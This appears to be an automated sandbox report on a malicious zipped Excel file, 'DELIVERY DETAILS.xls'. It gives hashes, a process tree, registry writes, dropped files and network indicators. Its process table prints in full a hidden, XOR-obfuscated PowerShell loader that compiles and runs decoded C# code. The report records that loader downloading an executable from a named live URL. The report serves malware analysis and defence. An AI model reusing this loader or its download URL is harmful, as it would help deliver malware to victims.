| File name: | DELIVERY DETAILS.xls.zip |
| Full analysis: | https://app.any.run/tasks/22d75072-2b1c-478f-8291-cdf5d7444e5a |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | June 12, 2019, 12:04:33 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/zip |
| File info: | Zip archive data, at least v2.0 to extract |
| MD5: | 9CB0EDEA520EAF00D0F868828A87F989 |
| SHA1: | 8872074C0875832E79F4FE4AB4CEB5AA0E5554EC |
| SHA256: | 3EB56C1CF5FD431600D35B37236273F1C5D209CD281DCADF0519557DD9B517E7 |
| SSDEEP: | 384:kuDe8/q9GeKZhsqPaZIslkVVf62f8Kyvky9/cGQqwjWrl/YOVck:k4q9G5Zh+Is6/S1Kh+UZyl/7z |
MALICIOUS
Starts Visual C# compiler
- powershell.exe (PID: 2880)
Application was dropped or rewritten from another process
- kc3fa99.exe (PID: 3220)
Downloads executable files from the Internet
- powershell.exe (PID: 2880)
SUSPICIOUS
PowerShell script executed
- powershell.exe (PID: 2880)
Executed via WMI
- powershell.exe (PID: 2880)
Creates files in the user directory
- powershell.exe (PID: 2880)
Executable content was dropped or overwritten
- powershell.exe (PID: 2880)
INFO
Creates files in the user directory
- EXCEL.EXE (PID: 2488)
Reads Microsoft Office registry keys
- EXCEL.EXE (PID: 2488)
Manual execution by user
- EXCEL.EXE (PID: 2488)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .zip | | | ZIP compressed archive (100) |
|---|
EXIF
ZIP
| ZipRequiredVersion: | 20 |
|---|---|
| ZipBitFlag: | 0x0009 |
| ZipCompression: | Deflated |
| ZipModifyDate: | 2019:06:12 12:04:04 |
| ZipCRC: | 0x9b7323a5 |
| ZipCompressedSize: | 17095 |
| ZipUncompressedSize: | 48128 |
| ZipFileName: | DELIVERY DETAILS.xls |
Total processes
42
Monitored processes
6
Malicious processes
1
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 2488 | "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 2612 | C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\admin\AppData\Local\Temp\RES5695.tmp" "c:\Users\admin\AppData\Local\Temp\CSC5694.tmp" | C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe | — | csc.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft® Resource File To COFF Object Conversion Utility Exit code: 0 Version: 8.00.50727.4940 (Win7SP1.050727-5400) Modules
| |||||||||||||||
| 2880 | powershell -WindowStyle Hidden function k19b8d { param($af9ab4) $t7336 = 'ea575'; $bca67 = ''; for ($i = 0; $i -lt $af9ab4.length; $i+=2) { $a57d8 = [convert]::ToByte($af9ab4.Substring($i, 2), 16); $bca67 += [char]($a57d8 -bxor $t7336[($i / 2) % $t7336.length]); } return $bca67; } $t3d26ca = '10125c595245324c4441000c0e3a3f10125c595245324c4441000c1b65400b155c5a504b285b4350170e45645017175c5450165a383d4016085b50153618464350084f715e54020f5a44410c02460c386f14465e5b0241664e46110458197c2a5a383d4016085b50153618464350084f7b52415e6c3f4740070d5c5415060d544446451201020c5d05383d4e686b15171545411517153e25595b7c08115a45414d435e52470b04590407474d15725b11134c675a0c0f411708454372524135135a5474010547524616431c6a386f4115171545411517451003595e5645124156410c0215524d11044759152c0f41674117414506040403570f1d2c0f41674117415e54535c04505419451241455c0b06155d0c5107041e0e686b15171545411517153e25595b7c08115a45414d435e52470b04590407474d15725b11134c675a0c0f4117084543795854012d5c554704134c151c386c3f1715454115171545114055590c0215444104155c541500194152470b417c5941351547175a530002511d1615475e5b0241420606565703011c5e6c3f17154541151715453a715b592c0c4558471149175c50170f505b0657431917700b15474e650a085b4315584117615c171540565935135a43500615171e68686b15171545411517151514575b5c064146435411085617501d1550455b45035a5859450a50550701041d7e5b11314145150a55045353564d15627c0b1565434745135451045c59571b1510085b43151159545103514d1558401141405e5b1141570e575d571c0c386f41151715454115176e210d597e58150e47431d472a50455b000d06051b010d59151945245b43471c315a5e5b11410817173715597a5a13047852580a134c151945325043790412417247170e4717084507545b460048683a3f4541151715454115444104155c541500194152470b4143585c014144005754041d7e5b11314145151452505401064d157e5b11314145151152570f01500419175c0b1515460c5700061e0e686b383d154541151715454145425709085617461100415e5645085b43150d540702565d001d1e386f41151715454115174e686b1517154541151715454115177c0b156543474515060e070457571708450e03560203495e060c0759511f175555055401535450065755500553005c431c1e0e686b1517154541151715454115175c03411d43065c53540157455c08177c0b156543474b3b50455a4c6c3f1715454115171545411517151e6c3f17154541151715454115171545411517520a155a175e0758075300075a383d1545411517154541151715451c383d386f4115171545411517154541157e5b11314145150d040706035302150a15155004565707591d43065c5354015749415e060c0759511f1757550554015354500103555705070007560003055552050000555500151c4c5a383d1545411517154541151715450853171d0d040706035302150a0845285b436511131b6d50170e1c3a3f4541151715454115171545414e3a3f45411517154541151715454115171545065a435a450a570e070154570c386f4115171545411517154541154a386f6c3f17154541151715454115171530285b4365111315420050075417084549607e5b113141451c505a383d154541151715454115171545145c594145190405575757150a15555a383d1545411517154541151715450853171d440a50550701041d5f505750030156494140020003001917051d55051b150a1441174d54535705034c48383d1545411517154541151715451a383d15454115171545411517154541151715020e4158150e030c055150030e3a3f454115171545411517154541483a3f454115171545411517154541774e41003a68175707590c0302455c154c15551906061945514d51534941054f0c5541480c386f4115171545411517154541157e5b11314145151753545253455c157a5417125d56594b20595b5a0629725b5a0700591f064c5a383d1545411517154541151715452c5445460d005919760a114c1f5707590c03024941051b1517535452534941061e0e686b15171545411517154541151744520304521d0b0442177c0b156543474d0950050453575619610a285b430351491c171e45514d070554031c1b1517535452534941061e0e686b383d5e0758075300075b383d3c6c68625257260d5c525b11414552500458150a150b044217620003765b5c000f411f1c5e6c3f3e3c6c1241455c0b06155204525503170845245b415c170e5b5a500b151b705011275a5b5100136556410d497059430c135a5958000f4119661504565e5409275a5b5100131b7645150d5c545411085a59710415541e154e41176b690e020651545c5817171e450a040e575d051d150107510103515053171e0e686b3c3e3c150450560c4b255a405b090e5453730c0d501f5e5458570f514d43055304505504030255070156010054010253515704060551555103065002050e0551505702015000050f01005453030154000504055d540c020754000705075c565100055052050301005704005352530700075656070753550201550551555102074748191750545601011c5e6c3f3e3c6c3147585600124664410413417e5b030e155f030759061708450f50401535135a5450161266435417157c59530a4950060251571c0c386f683c3e65170e565246164f66435417151d5f030759061e0e686b383d15454115171545411517154513504340170f15070e686b1517154541151715186c3f3e3c1514575b5c0641464354110856174611135c5952450a040e575d051d444117085b501510580c00565048383d15454115171545414e3a3f6c683c444117085b50150e02530e500002150a15470454020250430e3a3f4541151715454115171545414643470c0f52175a530002511558416643470c0f5219700811414e0e686b151715454115171545411517530a13151f5c0b15155e155841050c150c410917405c580254004b2d50595211090e175c454a0817074c6c3f1715454115171545411517151e6c3f17154541151715454115171545411517571c1550174554505455575d410817760a0f435247114f6158771c15501f405c580254004b3240554611135c59524d081917074c4d1506034c5a383d154541151715454115171545411517150a57540053454a08171d060954451c4d1104065407030d176b450a56510c0004566c1d0c411a17074c4110175e06070c5250064f79525b02155d6a1c5e6c3f171545411517154541151715186c3f3a3f45411517154541151715454147524110135b175a530002510e686b1517154541151715186c3f4a'; $t3d26ca2 = k19b8d($t3d26ca); Add-Type -TypeDefinition $t3d26ca2; [s4598d]::h525c8a(); | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wmiprvse.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2940 | "C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\DELIVERY DETAILS.xls.zip" | C:\Program Files\WinRAR\WinRAR.exe | — | explorer.exe | |||||||||||
User: admin Company: Alexander Roshal Integrity Level: MEDIUM Description: WinRAR archiver Exit code: 0 Version: 5.60.0 Modules
| |||||||||||||||
| 3220 | "C:\Users\admin\AppData\Roaming\kc3fa99.exe" | C:\Users\admin\AppData\Roaming\kc3fa99.exe | — | powershell.exe | |||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| 3964 | "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\admin\AppData\Local\Temp\g0jueev2.cmdline" | C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Visual C# Command Line Compiler Exit code: 0 Version: 8.0.50727.4927 (NetFXspW7.050727-4900) Modules
| |||||||||||||||
Total events
1 399
Read events
1 290
Write events
102
Delete events
7
Modification events
| (PID) Process: | (2940) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes |
| Operation: | write | Name: | ShellExtBMP |
Value: | |||
| (PID) Process: | (2940) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes |
| Operation: | write | Name: | ShellExtIcon |
Value: | |||
| (PID) Process: | (2940) WinRAR.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\62\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (2940) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\ArcHistory |
| Operation: | write | Name: | 0 |
Value: C:\Users\admin\AppData\Local\Temp\DELIVERY DETAILS.xls.zip | |||
| (PID) Process: | (2940) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | name |
Value: 120 | |||
| (PID) Process: | (2940) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | size |
Value: 80 | |||
| (PID) Process: | (2940) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | type |
Value: 120 | |||
| (PID) Process: | (2940) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | mtime |
Value: 100 | |||
| (PID) Process: | (2940) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface |
| Operation: | write | Name: | ShowPassword |
Value: 0 | |||
| (PID) Process: | (2488) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems |
| Operation: | write | Name: | qk; |
Value: 716B3B00B8090000010000000000000000000000 | |||
Executable files
1
Suspicious files
3
Text files
4
Unknown types
4
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2488 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\CVR4771.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2880 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\VUP3CL0Y08A86MZNHX42.temp | — | |
MD5:— | SHA256:— | |||
| 2612 | cvtres.exe | C:\Users\admin\AppData\Local\Temp\RES5695.tmp | — | |
MD5:— | SHA256:— | |||
| 3964 | csc.exe | C:\Users\admin\AppData\Local\Temp\g0jueev2.dll | — | |
MD5:— | SHA256:— | |||
| 3964 | csc.exe | C:\Users\admin\AppData\Local\Temp\g0jueev2.out | — | |
MD5:— | SHA256:— | |||
| 2880 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF12530a.TMP | binary | |
MD5:— | SHA256:— | |||
| 2488 | EXCEL.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\DELIVERY DETAILS.xls.LNK | lnk | |
MD5:— | SHA256:— | |||
| 2488 | EXCEL.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dat | text | |
MD5:— | SHA256:— | |||
| 2880 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:— | SHA256:— | |||
| 2880 | powershell.exe | C:\Users\admin\AppData\Local\Temp\g0jueev2.cmdline | text | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
1
DNS requests
1
Threats
2
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2880 | powershell.exe | GET | 200 | 192.185.164.101:80 | http://ahstextile.com/js/file/GHHGfa/THGBBG89.exe | US | executable | 668 Kb | suspicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2880 | powershell.exe | 192.185.164.101:80 | ahstextile.com | CyrusOne LLC | US | suspicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
ahstextile.com |
| suspicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2880 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
2880 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
Process | Message |
|---|---|
csc.exe |
*** HR originated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
|
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
|
csc.exe |
*** HR originated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
|
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
|
csc.exe |
*** HR originated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
|
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
|
csc.exe |
*** HR originated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
|
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
|
csc.exe |
*** HR originated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
|
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
|